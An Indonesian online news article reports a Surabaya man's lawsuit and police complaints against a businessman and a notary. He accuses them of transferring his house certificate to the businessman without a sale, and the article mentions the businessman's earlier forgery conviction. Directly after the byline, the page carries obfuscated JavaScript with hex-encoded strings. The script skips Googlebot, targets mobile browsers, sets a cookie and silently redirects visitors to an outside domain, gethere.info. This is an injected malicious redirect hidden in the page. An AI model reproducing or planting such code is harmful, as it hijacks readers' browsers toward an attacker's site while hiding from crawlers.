Pengusaha asal keramat gantung gelapkan asal usul perolehan sertifikat

bebas bayar, pembayaran mudah dan cepat, transaksi online, pembayaran tagihan dan tiket, transfer dana online

agus mulyono hadijanto

FORUMNUSANTARA.COM – Heri Paryanto, Warga Pondok Maritim Wiyung Surabaya merasa terpukul atas masalah yang menimpa pada dirinya, pasalnya heri Kehilangan tempat tinggalnya tanpa adanya proses jual beli, Untuk bisa mendapatkan kembali rumahnya itu, Heri langsung melayangkan gugatan perdata ke Pengadilan Negeri (PN) Surabaya untuk mendapatkan kembali rumahnya.

Heri telah menggugat Agus Mulyono Hadijanto, Pengusaha bahan-bahan furniture dijalan Kramat Gantung Nomor 75 Surabaya, yang mengaku sebagai pengusaha dana talangan.

Selain Agus Mulyono, Heri juga melaporkan Notaris Rexy Sura Mahardika, yang diduga ikut membantu proses administrasi dibalik berpindahnya status kepemilikan rumahnya Heri paryanto menjadi nama Agus Mulyono Hadijanto.

Menurut cerita Heri Paryanto, Saat itu dia memerlukan suntikan dana untuk mempelancar bisnisnya dibidang suplier material dan mendatangi Bank Pundi untuk mengajukan proses kredit sebesar Rp 230 juta.

Karena pengajuan kredit itu butuh proses waktu yang cukup lama, Heri mendapatkan penawaran oleh Aldi, Pegawai Bank Pundi untuk menggunakan dana talangan. Namun, dana talangan yang dimaksud itu bukan dicairkan melalui Bank Pundi, melainkan dari pihak luar yakni Agus Mulyono Hadijanto.

Dengan perjanjian secara lisan, Heri pun menyanggupi kesepakan pinjaman tersebut, dengan komposisi masa pembayaran 3 bulan dan bunga 5 persen setiap bulannya. Tak hanya itu, dari pinjaman yang dicairkan, Heri diwajibkan membayar bunga awal sebesar 15 persen dan fee untuk marketing, Aldi beserta temannya sebesar Rp 5 persen.

Setelah keduanya bersepakat, Aldi mengajak Heri untuk membuatkan akad perjanjian pinjaman di Kantor Notaris Rexy Sura Mahardika, dijalan Gayungsari Timur Surabaya, dengan jaminan sertifikat rumah milik Heri.

Akan tetapi, perjanjian itu tidak ditandatangani oleh Notaris Rexy Sura Mahardika melainkan hanya dilakukan oleh pegawainya.

Ironisnya, belakangan diketahui jika sertifikat rumah tersebut telah beralih nama dan kepemilikannya menjadi milik Agus Mulyono. Hal itu diketahui Heri setelah mendapatkan surat dari Kantor Pajak Pratama (KPP) Surabaya terkait pajak atas penjualan rumah tersebut.

“Saya merasa dicurangi, saya tidak pernah menjual rumah tapi hanya menggadaikan dengan bunga lima persen,” kata Heri Paryanto pada awak media di PN Surabaya, Senin (21/8/2017).

Heri pun mengaku telah beberapa kali mengkonfirmasikan permasalahan peralihan kepemilikan rumah tersebut menjadi milik Agus ke Notaris Rexy, Namun heri tak mendapatkan jawaban lantaran notaris rexy selalu menghindar.

“Karena itu saya lebih memilih jalur hukum saja, melaporkan Agus Mulyono dan Notaris Rexy ke Polda Jatim juga menggugat perdata mereka ke Pengadilan,” lanjut Heri sambil menujukan segebok data.

Heri mengakui, pidana yang dilaporkannya ke Polda Jatim itu akhirnya dialihkan penanganannya ke Polrestabes Surabaya. Tapi, laporan sejak setahun lalu itu hingga kini masih berjalan datar dan belum ada penetapan tersangka.

“Menurut informasi, akhir bulan ini baru gelar perkara, semoga saja penyidik bekerja secara profesional dan segera menetapkan Agus Mulyono dan Notaris Rexy Sura Mahardika sebagai tersangka,”pungkasnya.

Dalam kasus ini, Agus Mulyono dan Notaris Rexy Sura Mahardika dilaporkan dengan laporan terpisah, mereka dilaporkan melanggar pasal 379 ayat a KUHP tentang penipuan sebagai mata pencaharian dan pasal 372 tentang penggelapan dan pasal 335 tentang perbuatan tidak menyenangkan dengan kekerasan.

Selain Heri, ternyata Agus Mulyono Hadijanto juga disebut melakukan aksi ke korban lain dengan modus yang sama. Mereka adalah Endah Sulistyowati dan Hari Trisno, keduanya warga Kedung Turi Permai Sidoarjo.

“Dibelakang saya masih banyak yang menjadi korbannya Agus Mulyono dan Notaris Rexy,”ujar Heri Paryanto.

Sementara, Agus Mulyono membantah telah melakukan penipuan dan penggelapan. Pria yang mengaku pernah menggeluti dunia property ini mengklaim telah mengantongi sejumlah bukti terkait peralihan rumah tersebut menjadi miliknya.

“Intinya tidak benar dan saya ada semua bukti-buktinya,” kata agus mulyono saat dikonfirmasi.

Dari data yang dihimpun, Agus Mulyono Hadijanto adalah terpidana kasus pemalsuan surat. Pada 24 Juni 2016 lalu, Dia hendak membobol Bank Mandiri Cabang Genteng Kali Surabaya senilai Rp 30 miliar, dengan modus pencairan dana deposito berjangka palsu.

Namum aksi pembobolan Agus Mulyono dapat dibongkar oleh Petugas Bank Mandiri yang menaruh curiga dengan surat deposito berjangka yang akan dicairkan Agus Mulyono.

Dari sistem Bank Mandiri, Surat deposito berjangka nomor AD 938253 senilai 30 Miliar itu bukan atas nama Agus Mulyono melainkan milik orang lain.

Atas perbuatannya, Agus Mulyono diganjar hukuman satu tahun penjara oleh Hakim Pengadilan Negri (PN) Surabaya. “Saat itu memang saya jaksanya,” ujar Jaksa Penuntut Umum (JPU) Ririn Indrawati yang memastikan status Agus Mulyono. (Fadjar)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *